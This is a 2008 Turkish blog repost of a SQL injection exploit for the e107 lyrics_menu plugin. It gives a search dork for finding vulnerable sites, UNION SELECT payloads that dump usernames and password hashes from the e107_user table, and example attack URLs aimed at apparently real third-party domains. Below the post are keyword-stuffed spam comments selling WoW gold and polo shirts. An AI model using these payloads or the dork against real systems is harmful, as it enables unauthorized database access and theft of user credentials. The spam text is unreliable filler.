"Şeytan İçinde ki Sestir; O Sese Kulak Ver"

-Zorlu BUĞRAHAN-

31 Ekim 2008 Cuma

e107 Plugin lyrics_menu (lyrics_song.php l_id) SQL Injection Vulnerability

e107 Plugin lyrics_menu (lyrics_song.php l_id) SQL Injection Vulnerability

author: ZoRLu

dork: allinurl:"lyrics_menu/lyrics_song.php?l_id="

exploit:

http://localhost/script_path/lyrics_song.php?l_id=[SQL1] or [SQL2]

[SQL1] = column number 15

-1+union+select+1,concat(user_name,0x3a,user_password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+e107_user--

example 1:

http://www.mirage.org/e107_plugins/lyrics_menu/lyrics_song.php?l_id=-1+union+select+1,concat(user_name,0x3a,user_password),3,4,5,6,7,8,9,10,11,12,13,14,15++from+e107_user--

[SQL2] = column number 17

-1+union+select+1,2,3,concat(user(),0x3a,database()),5,6,7,8,9,10,11,12,13,14,15,16,17--

example 2:

http://www.reklamadatbazis.hu/e107_plugins/lyrics_menu/lyrics_song.php?l_id=-1+union+select+1,2,3,concat(user(),0x3a,database()),5,6,7,8,9,10,11,12,13,14,15,16,17--

kaynak: http://www.milw0rm.com/exploits/6885

4 yorum:

111 dedi ki...

WoW shares many wow gold of its features with previously launched games. Essentially, you battle with Cheapest wow gold monsters and traverse the countryside, by yourself or as a buy cheap wow gold team, find challenging tasks, and go on to higher Cheap Wow Gold levels as you gain skill and experience. In the course of your journey, you will be gaining new powers that are increased as your skill rating goes up. All the same, in terms of its features and quality, that is a ture stroy for this.WoW is far ahead of all other games of the genre the wow power leveling game undoubtedly is in a league of its own and cheapest wow gold playing it is another experience altogether.
Even though WoW is a wow gold cheap rather complicated game, the controls and interface are done in buy warhammer gold such a way that you don't feel the complexity. A good feature of the game is that it buy wow items does not put off people with lengthy manuals. The instructions cannot be simpler and the pop up tips can help you start playing the game World Of Warcraft Gold immediately. If on the other hand, you need a detailed manual, the instructions are there for you to access. Buy wow gold in this site,good for you ,WoW Gold, BUY WOW GOLD.

Mp3 Dinle dedi ki...

Teşekkürler

WebOsman - Kişisel Blog Sayfası dedi ki...

Teşekkürler

linda dedi ki...

Your blog is so excellent that I like it very much, you must be good at writing. And what do you think of cheap polo men t shirts, I think they are are very chic, especially the cheap polo t shirts, I love them very much.
polo t shirts
discount polo t shirts
polo t shirts on sale
polo t shirts cheap
cheap polo mens shirts
polo t shirts women
polo t shirts for women
polo shirts on sale
discount polo shirts
men's polo t shirt
polo men t shirts

 
Dizi